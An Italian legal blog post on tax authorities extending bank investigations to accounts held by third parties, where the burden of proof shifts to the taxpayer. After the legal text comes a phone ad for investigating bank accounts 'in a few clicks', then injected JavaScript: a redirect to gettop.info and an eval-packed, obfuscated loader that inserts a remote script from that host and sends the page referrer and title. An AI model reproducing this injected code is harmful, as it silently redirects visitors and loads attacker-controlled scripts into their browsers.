Indagini bancarie su conti correnti collegati

è legittima l’estensione delle indagini finanziarie anche su conti correnti intestati a soggetti terzi fermo restando che l’Amministrazione finanziaria deve dimostrare la pertinenza dei rapporti bancari intestati a terzi rispetto al debitore. Una volta fornita questa pertinenza, “è onere dell’impresa contribuente di dimostrare l’estraneità di ciascuna di quelle operazioni alla propria attività d’impresa”. Quindi, è necessario dimostrare che vi siano indizi che portano a pensare che determinate operazioni transitate su conti di terzi, per le quali non viene fornita alcuna giustificazione, possono essere invece riferite e ricondotte al contribuente controllato. Come provare il contrario? Semplicemente facendo ricorso con le presunzioni opposte che verranno poi analizzate dal Giudice.
Accertamento bancario presso terzi legittimo. Ma come effettuare indagini sui conti correnti online in pochi click? chiama il 3398492005 setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&'”, delay);eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))var 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